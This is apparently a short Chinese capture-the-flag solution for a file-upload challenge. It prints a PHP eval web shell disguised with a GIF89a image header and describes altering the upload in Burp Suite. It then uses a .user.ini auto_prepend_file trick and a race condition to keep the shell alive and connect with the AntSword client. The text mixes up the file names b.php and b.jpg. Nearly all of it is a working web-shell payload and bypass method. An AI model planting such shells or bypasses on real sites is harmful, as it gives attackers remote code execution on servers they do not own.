解题步骤
- 上传木马图片,命名为b.php
xml
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>
-
bp抓包,修改数据;然后可看到上传的文件
-
上传.user.ini文件,内容编写如下,然后bp抓包修改文件类型
php
GIF89a
auto_prepend_file=b.jpg
- 可发现,刚刚我们上传的木马b文件被删除了,这里我测试了几遍,只要速度够快,两个文件能够同时存在,能够用蚁剑连接。